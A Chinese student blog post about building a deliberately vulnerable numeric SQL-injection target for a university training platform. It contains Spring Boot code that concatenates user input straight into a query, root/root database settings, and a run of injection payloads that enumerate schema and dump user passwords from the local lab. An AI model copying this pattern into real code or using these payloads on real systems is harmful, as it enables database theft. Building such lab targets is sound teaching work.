山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(六)-SQL注入数字型


前言:

在项目实训的前面的几天时间里,我的主要工作是学习了 docker 的安装与使用,学会使用命令行控制 docker 容器的创建、删除等。然后学习了 springboot 框架的基本使用、了解其框架基本原理与运行机制。实现了使用 springboot 连接远程服务器上 docker 服务,实现容器的动态创建与删除。接下来的任务就是进行漏洞的代码编写,我主要是编写后端代码,前端由组内其他成员完成,所以在编写具体到某个漏洞的实现时,前端的代码我将简单的编写一下,实现相应功能即可,不需考虑布局与美观等。
首先编写较为常见,并且适合作为新手入门的 SQL 注入漏洞。



一、SQL 注入漏洞简介

想要复现搭建一个具有 SQL 注入漏洞的靶场环境,就不得不学习了解一下 SQL 注入漏洞的原理、危害、利用方式以及如何修复防御。

1、简介

恶意攻击者将数据包中输入的参数拼接成 SQL 语句传递给 Web 服务器,由于 Web 服务器的开发人员对数据的合法性没有判断或过滤不严,进而传递给数据库服务器,从而导致拼接的恶意 SQL 命令被执行,发起 SQL 注入攻击。
属于服务器对用户输入数据过滤不严格甚至没有进行任何检查过滤导致的漏洞产生。
根据服务器后端程序员编写的代码不同,SQL 注入可分为一下几种类型:


2、危害

SQL 注入漏洞主要与数据库打交道,所以造成的危害大部分是数据库相关,但是在一定条件下也可能会造成其它更为严重的危害。简单来说,可能造成的危害有以下几点:

  1. 拖库:比较常见的危害,恶意攻击者可以拿走已入侵的系统中数据库里面的敏感数据,造成信息泄露。
  2. 提权拿 shell:获得数据库内容后,进一步通过远程代码执行,操纵对方操作系统,持续监听、控制。
  3. 网站挂马、网页篡改、广告位传播:通过向已经入侵的数据库系统写入相关文件,实现网站挂马等恶意行为。

3、利用

根据 SQL 注入漏洞的产生原理,利用 SQL 注入漏洞实现信息的窃取、数据库系统的入侵、进一步提权哪 shell 等操作,需要针对特定的 SQL 注入类型来合理的构造 payload。
一般来说,发现到利用一个 SQL 注入漏洞可以分为一下几步:

  1. 查找可能的注入点(输入框?url 中 xx=?等等)
  2. 测试 SQL 注入类型(数字型?字符型?单引号还是双引号?有无括号?)
  3. 判断是否有过滤机制
  4. 考虑如何绕过
  5. 爆库名
  6. 爆表名
  7. 爆字段
  8. 拖库

4、防范

  1. 代码层面

1、 转义用户输入的内容(例如使用 PHP 中函数:mysql_real_escape() 函数等);
2、限制用户在前端输入的内容长度(需要在后端进行限制)
3、使用SQL语句预处理(对SQL语句首先进行预编译,参数绑定,最后传参)

  1. 网络层面

1、部署防火墙
2、部署相关安全软件(例如:安全狗、火绒等)

  1. 其它层面

1、定期网站安全渗透测试
2、定期扫描
3、数据库加密



二、相关配置

因为 SQL 注入漏洞复现不能缺少数据库的相关操作,所以需要对项目进行数据库相关配置,编写文件 application.properties

spring.datasource.url = jdbc:mysql://127.0.0.1:3306/pikachu?useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT%2B8
spring.datasource.username = root
spring.datasource.password = root
spring.datasource.driverClassName = com.mysql.jdbc.Driver

spring.thymeleaf.prefix = classpath:/templates/

编写 pom.xml,导入相关依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>sqli</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>sqli</name>
    <description>sqli</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jdbc</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jdbc</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>



三、编写“SQL 注入漏洞-数字型注入”后端代码

1、使用 springboot 框架创建项目

这一部分与前面的创建项目过程相同,使用 springboot 框架,java 8
在这里插入图片描述
选择 spring web
在这里插入图片描述
一个新的项目创建完毕。

2、编写 indexController

indexController 用于接受浏览器请求,根据请求地址进一步匹配到正确的网站页面。
两个请求,一个是请求主界面,匹配到 index.html;另一个是请求 SQL 注入的数字型注入靶场环境,匹配到 sqli_num.html 。
代码:

package com.example.sqli.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class indexController {
    @RequestMapping(value={"/","/index.html"})
    public String index(){
        return "index";
    }
    //spring.thymeleaf.prefix.classpath = /templates/
    @RequestMapping(value={"sqli_num"})
    public String sqli_num_index(){
        return "sqli_num";
    }
}

3、编写 sqli - 数字型 select

这部分代码是实现 SQL 注入的核心代码,通过复现一个带有 SQL 注入漏洞的环境,达到可以利用其进行练习的目的。
主要思路就是一个 select 查询语句,但是不要做任何预编译以及预处理等操作,直接将从前端接收到的用户输入的数据拼接到 SQL 语句中,实现 SQL 注入漏洞。

package com.example.sqli.controller;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

@Controller
@RequestMapping("/sqli/")//接口注解
public class sqli {
    @Autowired
    DataSource dataSource;
    public String sql;

    //数字型SQL注入漏洞(测试payload:-1 or 1=1 --)
    @RequestMapping("num")
    public String sqli_num(@RequestParam(value = "id",required = false) String id, Model model) throws SQLException {
          System.out.println(dataSource.getClass());
          Connection connection = dataSource.getConnection();
          System.out.println(connection);

          Statement stmt = connection.createStatement();
          sql="select * from users where id = "+id;
          //组装sql
          //stringBuilder.append("select userid, username, state from mchat.user_info");

          //List<Map> list = new ArrayList<>();
          ResultSet rs = stmt.executeQuery(sql);
          // 通过此对象可以得到表的结构,包括,列名,列的个数,列数据类型
          while (rs.next()) {
              //转化为List<Map>格式
              //Map<String, Object> map = new HashMap<>();
//              for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
//                  String colName = rs.getMetaData().getColumnName(i);
//                  Object value = rs.getObject(colName);//获取列对应的值。
//                  //map.put(colName, value);
//                  System.out.println(value);
//                  model.addAttribute("id",value);
//              }
              Object value = rs.getObject("username");//获取列对应的值。
              System.out.println(value);
              model.addAttribute("id",value);
              //list.add(map);
          }
          rs.close();
          //return list;
          connection.close();
          System.out.println("model:"+model);
          return "sqli_num";
    }
}

三、编写“SQL 注入漏洞-数字型注入”前端代码

index.html :主界面、索引界面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>SQL注入</title>
</head>
<body>
<input type="button" value="数字型有回显注入"
       onclick="javascrtpt:window.location.href='http://localhost:8080/sqli_num'" />


</body>
</html>

sqli_num.html :数字型有回显注入前端简易界面

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>数字型有回显注入</title>
    <script src="../static/js/jquery-1.4.4.min.js"></script>
</head>
<body>

<form action="http://localhost:8080/sqli/num" method="get">
    请输入学号ID: <input type="text" name="id" />
    <input type="submit" value="查找" />
</form>
<p id="demo">我的第一个段落</p>


<script th:inline="javascript" >
    const v = [[${id}]];
    sessionStorage.setItem("id",v);

    const loginName = sessionStorage.getItem("id");
    <span id="test" className="x-red"></span>
    test.innerHTML=loginName;
</script>


</body>
</html>


四、运行测试

  1. 启动项目
    在这里插入图片描述

  2. 访问 localhost:8080/
    在这里插入图片描述

  3. 测试数字型注入
    在这里插入图片描述
    payload:1
    回显:
    在这里插入图片描述
    payload:-1 or 1=1 --
    回显:
    在这里插入图片描述
    payload :-1 or 1=1 order by 2 --
    回显:
    在这里插入图片描述
    payload :-1 or 1=1 order by 1 --
    回显:
    在这里插入图片描述
    证明仅查询一个字段内容

payload :-1 UNION SELECT DATABASE()--
回显:
在这里插入图片描述
得到数据库名为 pikachu

payload :-1 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='pikachu' --
回显:
在这里插入图片描述
得到库内所有表名

payload :-1 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='pikachu'--
回显:
在这里插入图片描述
得到表内所有字段名

payload :-1 UNION SELECT password FROM users--
回显:
在这里插入图片描述
得到数据库内所有用户账号密码



参考文章:

https://blog.csdn.net/Aaron_Miller/article/details/105733688
https://zhuanlan.zhihu.com/p/418299128
https://www.renrendoc.com/paper/138788911.html
https://www.jianshu.com/p/89e6676b8e37
http://www.bubuko.com/infodetail-3578145.html
https://www.pianshen.com/article/9491310812/

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

陌兮_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值